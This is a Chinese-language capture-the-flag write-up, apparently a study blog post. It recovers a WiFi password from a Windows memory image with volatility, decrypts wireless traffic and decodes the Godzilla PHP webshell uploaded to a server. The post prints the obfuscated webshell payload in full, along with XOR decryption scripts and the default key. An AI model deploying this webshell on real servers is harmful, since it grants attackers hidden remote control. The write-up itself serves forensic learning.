写文章只是为了记录自己的学习,不是粘贴复制就完事了 参考 https://www.cnblogs.com/GKLBB/p/15315725.html https://www.nctry.com/2449.html https://www.freebuf.com/sectool/285693.html
题目链接: https://pan.baidu.com/s/1H2iVCuntQuyIemELCDXl6w 提取码: c6pk
常规姿势
文件内容
用wireshake打开客户端.cap 发现流量被加密,但是依旧可以发现WiFi的名字是My_Wifi 要解密的话就需要wifi的密码 对windows而言,只要连过这个wifi,它的信息就会被保存,包括密码 查看连过的wifi 查看某个密码 这些东西都在一个xml文件里 知道了这些后我们就可以去镜像找xml文件了 因为没接触过取证用的volatility 又写了关于我在windows使用volatility取证这档事 扫描镜像里的文件把结果存到files.txt里 打开files.txt搜索.xml 得到四行结果
0x1e6d1530 \Windows\System32\tcpbidi.xml 128
0x3fcc5908 \Windows\System32\RacRules.xml 128
0x3fd0d390 \Windows\assembly\NativeImages_v2.0.50727_32\System.Xml\5dd9f783008543df3e642ff1e99de4e8\System.Xml.ni.dll 128
0x3fd67bb0 \Windows\assembly\GAC_MSIL\System.Xml\2.0.0.0__b77a5c561934e089\System.XML.dll 128
显然这不是我们想找的文件 此外我们还知道的信息是WiFi的名字是My_Wifi 搜索My_Wifi得到一行结果
0x3fdc38c8 \Program Files\My_Wifi.zip\Temp\vmware-admin\VMwareDnD\2a1221c7\My_Wifi.zip 128
先把这个文件dump下来看看 拖到Windows修改文件名为wifi.zip然后解压 题目说了压缩包里有密码的提示
网卡的guid就是密码 同时网卡的guid也是保存配置文件夹的名字 所以在files.txt里搜索Interfaces得到四行结果
0x1c7ec5c8 \ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\{529B7D2A-05D1-4F21-A001-8F4FF817FC3A} 128
0x1f78f4b0 \ProgramData\Microsoft\Wlansvc\Profiles\Interfaces 128
0x3fa921c8 \ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\{529B7D2A-05D1-4F21-A001-8F4FF817FC3A} 128
0x3fda8be8 \ProgramData\Microsoft\Wlansvc\Profiles\Interfaces 128
题目说了要加上花括号 所以解压密码就是{529B7D2A-05D1-4F21-A001-8F4FF817FC3A} 打开里面的xml文件发现密码是233@114514_qwe
得到密码和ssid后对流量解密 选择protocols 找到IEEE 802.11 wifi包解密后 但是wifi这么多包,不确定哪些属于webshell的流量 这时候服务器的包就可以派上用场了 上传哥斯拉用的是POST 过滤POST数据包得到服务器IP:42.192.84.152 导出http对象 得到5个php文件 已知上传的是哥斯拉的马 看到%什么什么应该就知道这是url编码吧 所以首先拿去url解码 拿到php环境执行一下
echo base64_decode(strrev(urldecode('K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBXayR3coAiZpBCIgACIgACIK0welNHbl1HIgACIK0wOpYTMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpkSeltGJskSY0FGZkgib1JHQoUGZvNmblhSZk92YuV2X0YTZzFmYg8GajVGIgACIgACIgoQD7kiNxwCMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpQWYvxWehBHJowWY2VGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD')));
得到上传的代码 可以看出使用的是php_xor_base64的加密器 如果看不出可以用哥斯拉生成对比一下使用的是什么加密器
接下来就是对哥斯拉的数据包解密了 说实话我也不会 所以又写了哥斯拉还原加密流量 看过哥斯拉流量分析后就很容易了 对于哥斯拉POST的数据包使用这个脚本解密
<?php
function encode($D,$K){
for($i=0;$i<strlen($D);$i++){
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
echo encode(base64_decode(urldecode('xxxxxxx')),$key);
对于哥斯拉的返回包使用这个脚本解密
<?php
function encode($D,$K){
for($i=0;$i<strlen($D);$i++){
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
echo gzdecode(encode(base64_decode(''),$key));
在POST里肯定没有什么我们想要的东西 所以返回到客户端.cap 筛选http的数据包 这里恰好都是源ip为42.192.84.152 如果有其它源ip不是42.192.84.152的就过滤掉 然后导出http对象 得到这么多文件
把css,js,png结尾的文件删掉 剩下这么多打开查看 发现只有四个是哥斯拉的返回包
利用上面的脚本开始解密 解密的时候要去掉头16位去掉尾16位 其中第一个包解密后为 第二个包解密 第三个包解密 第四个包解密得到flag
大佬的另一种姿势
当你没有解密脚本的时候 已知条件哥斯拉木马的源码 观察发现这个key就是默认的key 也就是key经过md5加密后前16位 验证猜想:用哥斯拉生成一个木马 发现两个是一样的 接下来把木马丢到虚拟机里 用phpstudy搭个环境
打开哥斯拉测试连接 开启burp代理添加
执行一个命令截断 最多四次就出来了,之前导出的http对象不是还剩这四个是格拉斯加密的包吗
这样干的好处就是不需要解密脚本了
|